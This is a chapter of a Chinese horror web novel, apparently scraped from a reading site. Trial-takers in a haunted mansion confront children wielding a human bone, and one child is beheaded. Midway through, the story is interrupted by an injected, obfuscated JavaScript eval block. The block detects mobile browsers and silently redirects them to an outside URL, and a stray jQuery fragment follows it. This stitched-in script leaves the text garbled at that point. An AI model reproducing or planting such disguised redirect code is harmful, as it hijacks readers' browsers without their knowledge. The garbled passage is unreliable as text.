123读书网 > 玄幻小说 > 干了这碗小柴胡[无限] > 33. 事情朝着诡异的方向狂奔

33. 事情朝着诡异的方向狂奔

    “喜婆讲的那位,你猜到是谁了吗?”柴胡若无其事地转移话题。


    裴慕栀没回答,而是重新注意眼前之事。皆因胡文思停了下来,离走出回廊还差一步,再一步便是前厅。


    而她面前围着好几个孩童,他们稚嫩的脸庞笑得很开朗,只是手上分别拿着令人毛骨悚然的物什。


    扬起小脸,高举着手,似乎要将此物赠送给胡文思。


    柴胡垫高脚,看了一眼为首的小孩,感叹道:“是人骨啊。”


    看样子应该是大腿的骨头,上头还沾着红色的血以及些许肉块。


    裴慕栀:“……”


    “柴姑娘,为何你能如此淡定?”


    眼底写着你难道不怕吗?方才还怕着一双眼睛。


    裴慕栀有些吃不准柴胡惧怕的标准。


    柴胡叹息道:“倘若这根人骨会说话,无人操控却浮于空中,去到哪儿都跟着,那就令人害怕了。”


    可眼前的小孩顶多拿着新鲜的死人骨头当玩具。胡喻至今还顶着一具会动的尸体呢。


    比起骨头,小孩更可怕吧。


    前头被小孩恐吓的胡文思也不是吃素的,她见惯了尸体,最不怕残肢断骸。


    冷眼垂眸,俯视一个个眼含恶意的稚童:“你们是哪家小孩,骨头打哪儿来的?”


    身高比其他小孩稍高,年纪看上去约莫六七岁,估计是他们之中的孩子王,笑嘻嘻回答:“你要是把这根骨头吃了,我就回答你。”


    话音刚落,后面那些小孩同时嚷嚷道:“好吃的,为什么给她!”


    “我不吃又如何?”胡文思盘起手臂,歪歪头。


    “不吃,就得不到你想要的。”小孩撅着嘴,一副天真无邪状,“况且,就算你现在不吃,到了婚宴上,新郎官也得吃的。”


    “那我到了婚宴再吃呗。”胡文思死猪不怕开水烫。


    平淡的态度,油盐不进像是有些急坏了小孩。后面几个小孩听带头的孩子王一讲,原是有些了然,但听到胡文思说不吃,面面相觑,小脸些许恼怒。


    有的还跺了跺脚。


    带头的孩子王表面看上去很淡定,实际空着的没有抓骨头的小手攥紧了衣角。


    “不,不行。”孩子王控不住声调,拔高了一下,“阿姊说了,你们必须吃!”


    “现在,立刻!”


    小孩子藏不住事,一下子就把幕后主使捅了出来。


    胡文思仍是不咸不淡:“我又不认识你阿姊,我凭什么听她的?”


    孩子王恼怒的小脸仰着,瞪起这群欺负小孩的大人们。


    “你要娶我阿姊,却不知道我阿姊?!”


    看来是许家小姐。


    这一个认知在众人内心徘徊了一圈。


    但小孩似乎已经被激怒了,情绪非常激动。


    “我阿姊那么聪明漂亮,为什么要嫁给你们这种蠢钝的猪崽!”


    这般说着,吩咐周遭的小孩去把小猪牵出来。


    柴胡有些看不懂了,这时候找什么猪啊?


    她疑惑地看向旁边有些听到声音陆陆续续接近的下人,可下人远远见到发火的孩子王,面露惊恐,看了一眼便不敢靠近,装模装样去做其它的事。


    其他小孩很快就把所谓的小猪牵出来。


    看着粉粉嫩嫩的小猪,哼哧哼哧地埋头在小孩怀中,小猪的份量应该蛮大的,叫小孩捧得有些不稳,三个小孩齐齐扶住,小心翼翼地推来。


    孩子王得意洋洋,用人骨指着那头小猪。


    “你们要找这头猪崽吧,我偏不如你们的意!”


    说罢抡动手中大腿骨,快速地砸向小猪崽。


    小猪崽发觉异样,想要逃跑,可被小孩们抓得死死的。


    刹那间,大腿骨就敲碎了它的头,碎肉与鲜血四溅,洒在团团围住的小孩脸上和身上,遭到鲜血与肉块沐浴的小孩们,仍扬着笑意,在这一瞬间异常的扭曲可怖。


    红色的血液大量大量地穿过小孩的小手,流淌在地上,深入铺满的青砖之内,周旁的泥土从浅黄慢慢转变成红褐色。


    小孩的骤然发难,令胡文思几人搞不清楚状况,开始认为是小孩的不可控因素导致的。


    可随着血液越流越多,鲜红到暗红,刺眼的颜色深深映入柴胡的双眼,刺激着她不在意的记忆一角。


    “不,不对。”记忆自然而然浮现,柴胡从而得出一个瞠目结舌的结论。


    裴慕栀捕抓到柴胡的呢喃,“哪里不对?”


    柴胡抿了抿嘴,润湿干涩的下唇。


    “除了闯关者,关卡里的皆是妖怪。”


    不清楚为何柴胡忽然说起众所皆知的事实。但裴慕栀仍旧耐心听下去。


    “跟妖怪对打过后,有经验的人理应知晓,妖怪的血是黑色的。”柴胡怔怔地望着那根大腿骨。


    裴慕栀先是一愣,后瞪大了眼睛,与柴胡同样注视那根挥动着的大腿骨头。


    柴胡后续的声音有些飘忽,“这根大腿骨,恐怕是属于我们闯关者的。”


    柴胡的话传入另外四人的耳畔,不约而同地皱起眉头。


    “我们之中,有人死了?”胡喻愣愣地说出默认的事实。


    柴胡的视线从大腿骨转向那只看不清原貌的猪崽,尾指不由抽动几分。


    裴慕栀察觉到柴胡的目光注视的方向,看了半晌,倒吸口气,“难道在你看来,这猪崽也是……”


    之前柴胡在关卡开始时,用开玩笑的语气说出抽到“其它”身份的有可能是条狗,才引得众人争抢。


    裴慕栀得到其它时,也曾有过忧虑。所幸是名教书夫子,才令他安心,虽然管家说他是新郎官之一,这条没摸清底细的线索经过多重事情,暂缓了探索。但他仍是觉得柴胡只是随口一说。


    直到如今,裴慕栀后知后觉,原来真的有可能会变成他物。


    可惜已经找不到任何线索证明这个猜想,只因孩子王把猪崽打死了,死得不能再死。


    然后兴高采烈地朝他们炫耀。


    “这就是不听我话的下场!”


    孩子王那根大腿骨随着他兴奋的摆动,在日光照耀下,本仅有的几丝红血在此刻染上了大片赤液,已经分不清哪些是本来的,哪些是后头沾上的。


    与孩子王的高兴截然不同,胡文思冷着脸,拔出了剑。引来后面的小孩一片惊呼。


    孩子王尽管被对准了脖颈,仍是高高挂起毫不在意,“我不信你会对我动手!”


    “你要是敢对我动手,阿姊一定不会放过你的。到时候她不会想与你成婚,婚宴也就办不成咯!”孩子王好似想到开心事,拍了拍手。


    他很会拿捏闯关者的心态,不知是否在此前也是这般要挟不知名的闯关者,硬生生夺取了闯关者的性命,抽了大腿骨出来。


    裴慕栀迈前一步,“胡姑娘……”


    话未尽,胡文思的剑已至。


    唰地一下,孩子王的头高高抛弃,黑色的液体混在了猪崽的红色之中,掉在地上时,仍挂着裂到耳边的笑。


    裴慕栀紧闭双眼,又睁开。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254332|195766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “胡姑娘,你就算这么做,他也……”


    “不会死。”


    胡文思冷冷接过裴慕栀接下来的话,凌厉的双眼瞪向不远处歪头歪脑的头颅。


    只见那颗头颅发出哎呀哎呀的声音,像是幸灾乐祸,“你对我动手了,你要完蛋了!”


    周遭的小孩你看看我我看看你,齐齐拍掌附和分头的孩子王,“要完蛋,要完蛋!”


    裴慕栀脸色铁青,仇不眠与胡喻的神色同样不大好。


    仿佛是迎合孩子王的命令,回廊四周的气氛不疾不徐,意识到时却已变得异常压抑。


    裴慕栀望向了仇不眠,“能冲出去?”


    如今,他也没招了。


    仇不眠觑了他一眼,“你以为你问得是谁,难就难在冲出去之后,不回来了吗?”


    裴慕栀闭上了嘴,视线游移了一下,眼见小孩们挂着骇人的笑容,朝他们靠近,余光骤然闯入一道人影。


    柴胡面无表情举着一块花盆碎片,也不晓得从何而来,手一挥,红红的液体从天而降,不均匀地撒向小孩堆里,更多的则是飞向了那颗洋洋得意的孩子王头颅。


    熟悉的“滋滋滋”声响起,胡文思眼睛一亮,快速飞身使剑砍了过去。


    仇不眠紧追其上。


    小孩们遭到攻击,小脸很迷茫,接着恍悟仓皇逃窜,嘴里还喊着:“打小孩臭不要脸!”


    胡文思冷哼一声:“打小孩怎么了,我从小打到大!”


    这里就不问被打的小孩怎么样了,因为提供不上武力值的胡喻脸都绿了。


    有两个能打的帮忙,而且对手是些小孩,裴慕栀根本无需担心。


    心情复杂地看向大喘着气的柴胡,问道:“这花盆和水是?”


    柴胡颤抖的手指向了回廊边,裴慕栀朝外望了一眼,名贵花种裹着泥块惨死在外,旁边的是几块花盆碎片。


    柴胡坐在回廊的美人靠上,努力平稳呼吸粗浅,“有过一次经验,就不用告诉你水是什么了吧?”


    裴慕栀顺着视线看向溢满鲜血的猪崽,荒诞的记忆正攻击着他。


    “……柴姑娘,果然是行事非人。”裴慕栀良久后,赞叹道。


    这时候柴胡的脑子会转了,细细品味一下,拉下了脸:“你骂我不干人事?”


    裴慕栀有些慌乱,“我,我并非此意。”


    “我确实不干人事。”


    柴胡态度变化叫人吃惊不已,接受不了的裴慕栀呆愣原地。


    事实上,柴胡在见到孩子王所作所为,心里的怒火蹭蹭直上,后头瞧见胡文思捏紧的拳头,呼之欲出的青筋显示出她的盛怒。


    一眼便知胡文思同样忍不了多久,左顾右盼之下急忙忙找到了一个花盆充数。刚摔花盆,胡文思那头就砍了人脑袋,惊住的小孩是第一时间跑去护着孩子王,放下了破破烂烂的猪崽。


    这才叫柴胡重现曾在山雀宫殿做过的事。


    前头紧张的气氛,无人在意柴胡做些什么,除了某颗在别人肩上的头颅,眼睛眨都不眨地望着她。


    更要命的是,在柴胡搅拌小柴胡的时候,“天”上那双眼睛,同一时刻出现,垂眸看她。


    被两双非人眼睛盯着,柴胡是有苦难言,强打起精神才洒出小柴胡,但一举一动皆遭到监视,她觉得她这种手段用不了多少次。


    “真你大爷的。”


    柴胡憋不住,骂了一句脏。


    正对面的裴慕栀:“……柴姑娘,我大爷已经逝世许久了,你要找他吗?”